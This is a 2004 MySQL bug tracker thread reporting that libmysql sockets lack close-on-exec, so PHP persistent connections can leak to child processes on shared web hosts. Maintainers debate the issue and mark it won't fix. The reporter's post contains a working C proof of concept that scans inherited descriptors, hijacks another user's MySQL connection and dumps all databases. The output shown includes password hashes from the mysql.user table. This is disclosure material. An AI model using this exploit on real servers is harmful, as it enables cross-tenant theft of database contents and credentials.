Bug #3779 non close-on-exec file descriptor leads to security risk
Submitted: 16 May 2004 0:00 Modified: 6 Sep 2004 19:43
Reporter: Lukasz Wojtow Email Updates:
Status: Won't fix Impact on me:
None 
Category:MySQL Server Severity:S2 (Serious)
Version:4.0.18 OS:Linux (Linux)
Assigned to: Sergei Golubchik CPU Architecture:Any

[16 May 2004 0:00] Lukasz Wojtow
Description:
Hi,
I havn't found any references about it on the Internet, so i've decided to write here. In libmysql, function mysql_real_connect, a socket is created by socket(2) but is not set in close-on-exec mode. Later, when apache serves a request with php site and function mysql_pconnect is used inside the script, the mysql connection descriptor remains open for some time (with user logged in for a database). The problem is that the descriptor is still open in another request (even if it is for other virtual server or ~user) and if it is anything that leads to a program execution (a cgi script / php with function system, ...) then the file descriptor is inherited by executed program. As in low level languages file descriptors are represented by simple integer numbers, it is possible to test all values in order to find a connection to database. If that descriptor is properly assigned to MYSQL structure's internal members, then the program receives a proper mysql connection as the other user. For multi web hosting servers consequences are enormous. This could affect not only Apache and Php, but also others.

How to repeat:
This is a program which finds a proper file descriptor and checks if it is a mysql connection (and dumps all accessible dbs). It is a bit lame ;-) - firstly real connection must me established in order to proper initialize MYSQL struct (i'm working on it now). Use it in php script from function system or similar. If you are lucky enough your connection will be accepted by apache's child which has some database connection(s) opened and this database will be displayed.

#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <netinet/in.h>
#include <mysql/mysql.h>

struct st_vio
{
  my_socket		sd;	
  /* some stuff trimmed, who cares anyway? */
};

MYSQL *mysql;

void show_table(char *table) {
	MYSQL_RES *mysql_res;
	MYSQL_ROW row;
	char query[128];
	int nums,i;

	printf("Dumping table %s <br> \n",table);
	mysql_res=mysql_list_fields(mysql,table,NULL);
	if(mysql_res==NULL) {
		printf("Unable to list fields <br>\n");
		return;
	}
	while((row=mysql_fetch_row(mysql_res)))
		printf("%s ",row[0]);
	mysql_free_result(mysql_res);
	printf("<br>\n");
	snprintf(query,sizeof(query),"SELECT * FROM %s;",table);
	mysql_query(mysql,query);
	mysql_res=mysql_use_result(mysql);
	nums=mysql_num_fields(mysql_res);
	while((row=mysql_fetch_row(mysql_res))) {
		for(i=0;i<nums;i++)
			printf("%s ",row[i]);
		printf("<br>\n");
	}	
	mysql_free_result(mysql_res);
	return;
}

void show_database(char *db) {
	MYSQL_RES *mysql_res;
	MYSQL_ROW row;

	printf("Dumping database %s <br>\n",db);
	if(mysql_select_db(mysql,db)<0) {
		printf("Unable to select db %s<br>\n",db);
		return;
	}
	mysql_res=mysql_list_tables(mysql,NULL);
	if(mysql_res==NULL) {
		printf("Unable to list tables<br>\n");
		return;
	}
	while((row=mysql_fetch_row(mysql_res)))
		show_table(row[0]);
	mysql_free_result(mysql_res);
	return;
}

void mysql_fd_connect(MYSQL *mysql_l, int fd) {
	NET *net= &mysql_l->net;
	net->vio->sd = fd;
	return;
}

void check_socket(int fd) {
	MYSQL_RES *mysql_res;
	MYSQL_ROW row;

	printf("Found socket on descriptor %d<br>\n",fd);

	mysql_fd_connect(mysql,fd);
	mysql_res=mysql_list_dbs(mysql,NULL);
	if(mysql_res==NULL) {
		printf("The socket is not a valid db connection.<br>\n");
		return;
	}
	while((row=mysql_fetch_row(mysql_res)))
		show_database(row[0]);
	mysql_free_result(mysql_res);
	return;
}

int main() {
	struct stat sb;
	MYSQL *mysql_root;
	int fd;

	mysql=mysql_init(NULL);
	if(mysql_real_connect(mysql,"host1.com","host1",
				"host1",0,3360,0,0)<0) {
		printf("Unable to connect to db<br>\n");
		return;
	}
	for(fd=0;fd<1024;fd++) {
		if(fstat(fd,&sb)<0)
			continue;
		if(S_ISSOCK(sb.st_mode))
			check_socket(fd);
	}
	return 0;
}

Suggested fix:
It could be fixed in PHP which closes all db's descriptors when executing a command (it is bizaree to leave it open - is there any lib function to use it afterwards ???) but the best place to fix it (IMVVVVHO) is mysql_real_connect function in libmysql by marking it as a close-on-exec (actually it could be too little - it is possible that in some server side language simple integers are used to store connections to database)
[29 May 2004 16:30] MySQL Verification Team
Hi!

Thank you so much for writting to us.

Can you please clarify few things.

First of all, scanning all file descriptors in the given process will can only descriptors in that process, not in entire OS. Not even in the parent process.

So, by scanning fd's, what is caught is actually a file descriptor of this 
program. You have connected to MySQL server in the same program and it is normal
that this file descriptor is found. 

Try to skip connecting to MySQL server in the same program and see for the result. 

Close on exec would also make impossible permanent connections.
[29 May 2004 21:11] Lukasz Wojtow
Hi,
Thanks for replying.
Of course i know that the process can only find its own file descriptors.
And partly that's my point - a connection's descriptor goes to the process being executed. It's a bit dificult to show that issue without 'fake' connection. That's because connecting to a database not only creates a socket, but also initializes other members of MYSQL structure. I didn't have time to do that, but look on the example:

root@darkstar:/www/docs/host1.com/php# mysql -u root -p 
Enter password: 
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 2 to server version: 4.0.18-log

Type 'help;' or '\h' for help. Type '\c' to clear the buffer.

mysql> show databases;
+----------+
| Database |
+----------+
| host1    |
| host2    |
| mysql    |
+----------+
3 rows in set (0.14 sec)

mysql> quit
Bye
root@darkstar:/www/docs/host1.com/php# mysql -u host1 -p
Enter password: 
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 3 to server version: 4.0.18-log

Type 'help;' or '\h' for help. Type '\c' to clear the buffer.

mysql> show databases;
+----------+
| Database |
+----------+
| host1    |
+----------+
1 row in set (0.00 sec)

mysql> quit
Bye

As you see, user host1 have permission to use only host1 database, but there 
are some more (shown in root's connection)
Now, look on apache's processes:

root@darkstar:~# ps aux | grep apache
root       120  0.0  0.2  4108 1948 ?        S    19:45   0:00 /usr/local/apache_1.3.29/bin/httpd
nobody     122  0.0  0.2  4124 1952 ?        S    19:45   0:00 /usr/local/apache_1.3.29/bin/httpd
root       170  0.0  0.0  1468  452 pts/0    R    19:46   0:00 grep apache

It's state just after restarting apache. For this text's purpose just one child
is created (makes things easier).

When script 
root@darkstar:/www/docs/host1.com# cat test.php 
<?php
system("./sockdump >> /tmp/sockdump");
?>
is called now, then there will be only one connection found:

root@darkstar:/www/docs/host1.com# lynx --dump host1.com/test.php > /dev/null
root@darkstar:/www/docs/host1.com# cat /tmp/sockdump 
Found socket on descriptor 3
Dumping database host1 
Dumping table table1 

kajsd 
kajasdsd 
kajaasdsd
asd 

It's the connection created by that program. 

Now imagine that some domain on the web server uses script similar to this:

root@darkstar:/www/docs/host2.com# cat m.php 
<?php
$c = mysql_pconnect('localhost','root','dupajasia');
// whatever here
?>

After a request to that script things look like this:

root@darkstar:~#ps aux | grep apache
root       120  0.0  0.2  4108 1948 ?        S    19:45   0:00 /usr/local/apache_1.3.29/bin/httpd
nobody     122  0.0  0.2  4176 2280 ?        S    19:45   0:00 /usr/local/apache_1.3.29/bin/httpd
root@darkstar:~# ls -l /proc/122/fd
total 0
lr-x------    1 root     root           64 May 29 19:55 0 -> /dev/null
l-wx------    1 root     root           64 May 29 19:55 1 -> /dev/null
l-wx------    1 root     root           64 May 29 19:55 15 -> /usr/local/apache_1.3.29/logs/error_log
lrwx------    1 root     root           64 May 29 19:55 16 -> socket:[107]
l-wx------    1 root     root           64 May 29 19:55 17 -> /usr/local/apache_1.3.29/logs/access_log
l-wx------    1 root     root           64 May 29 19:55 2 -> /usr/local/apache_1.3.29/logs/error_log
lrwx------    1 root     root           64 May 29 19:55 4 -> socket:[854]

Additional socket has been created (connection to the database).
Now let's try to call host1.com/test.php again 
(and indirectly sockdump program):

root@darkstar:~# rm /tmp/sockdump 
root@darkstar:~# lynx --dump host1.com/test.php > /dev/nul
root@darkstar:~# cat /tmp/sockdump
Found socket on descriptor 3
Dumping database host1 
Dumping table table1  

kajsd 
kajasdsd 
kajaasdsd
asd 
Found socket on descriptor 4
Dumping database host1 
Dumping table table1 

kajsd 
kajasdsd 
kajaasdsd
asd 
Dumping database host2 
Dumping table table2 

asd 
aasdsd 
akjoiu 
Dumping database mysql 
Dumping table columns_priv  

Dumping table db  

% test  Y Y Y Y Y Y N Y Y Y Y Y 
% test\_%  Y Y Y Y Y Y N Y Y Y Y Y 
% host2 host2 Y Y Y Y Y N Y Y Y Y Y Y 
% host1 host1 Y Y Y Y Y N Y Y Y Y Y Y 
Dumping table func  

Dumping table host  

Dumping table tables_priv  

Dumping table user  

localhost root 4b1b27c800bde9da Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y     0 0 0 
darkstar root 4b1b27c800bde9da Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y     0 0 0 
% host1 310367357a4bd718 N N N N N N N N N N N N N N N N N N N N N     0 0 0 
% host2 310369227a4bdd05 N N N N N N N N N N N N N N N N N N N N N     0 0 0 

Two connections are found: 1st made from sockdump (file descriptor 3 - so only 
1 database found), and the 2nd on file descriptor 4 - as you see it's
inherited by sockdump program from apache's child (root login). 
Got the idea now?

I'm not quite convinced that marking socket as close-on-exec would break 
mysql_pconnect. I don't know much about it, but i thought that apache doesn't call execve during php scripts execution (even on two diffrent domains)? 

Thanks for reading.
Lukasz Wojtow
[14 Jun 2004 7:52] Hartmut Holzgraefe
No, close_on_exec won't break PHPs pconnect as this only works with
integrated server modules anyway (like PHP as Apache module) where
PHP serves several or even all (in the case of pure multithreaded
servers) PHP requests from within a single process context.

But even if close_on_exec were set on PHP->MySQL connections there
would still be the risk of connection hijacking with PHP pconnect
as any other piece of code executed within the web server context
has access to the persistant connection. This especially includes,
but is not limited to, other PHP scripts. 

So as soon someone has enough access to the server to add a PHP
or modify PHP scripts he will also have access to your persistant
connections. Even if he is not allowed to use PHPs exec family
of functions.

I can agree that adding close_on_write would add a little 
security in general. But OTOH there is the possibility of breaking
existing code by changing this behavior. Someone may have used
exactly the current behavior to actually gain security by passing
already opened connections to binaries not trusted to see the
actual login parameters. 

I'm not aware of anybody using this, and i'm not even sure if
this approach really makes sense, but *if* someone had ever 
made use of this he would have a very hard time to track down
what had changed if we were to break his code by adding
close_on_exec.
[14 Jun 2004 13:13] Lukasz Wojtow
>So as soon someone has enough access to the server to add a PHP
>or modify PHP scripts he will also have access to your persistant
>connections. 

So which php's function (or what code) connects do database on given file descriptor?
php's connections are not integer numbers, and trying to treat an integer as a connection will result with a failure. I though that only way to connect to mysql in php is to use mysql_connect or mysql_pconnect. I agree that as descriptor is still opened, then in case of any bug allowing to execute arbitrary code it will be possible to take over the connection, but this behavior would be result of a bug only, and is not intended, am i right?

>Even if he is not allowed to use PHPs exec family of functions.
You're right, i.e. suexec doesn't close this descriptor, so a connection can be inherited by cgi script.

>security in general. But OTOH there is the possibility of breaking
>existing code by changing this behavior. Someone may have used
>exactly the current behavior to actually gain security by passing
>already opened connections to binaries not trusted to see the
>actual login parameters. 
As mysql doesn't have any lib function which makes connection to given file descriptor (unlike pgsql) that means that there is no 'green light' to use this behavior and in order to do that developers have to use dirty tricks with MYSQL stucture. I wouldn't be worried about such software.
Anyway, if you think that's not a bug, that's fine. But it would be nice if you told guys from php to warn people about insecurity of mysql_pconnect and made them to ship php with persistent connections disabled by default.
Thanks for your answer
[14 Jun 2004 14:48] Hartmut Holzgraefe
Addition:

The new mysqli extension in PHP 5 has dropped the support for persistent connections alltogether.

The speed gain by using pconnect hasn't been that big anyway as mysql client connects are rather fast anyway (compared to other databases) and the effort needed to reset a connection per PHP request using it so that it does not get influenced by previous requests settings would have consumend most of the remaining gain. So it was decided to completely drop pconnects for ext/mysqli
as there is no way to implement it both performant and secure at the same time.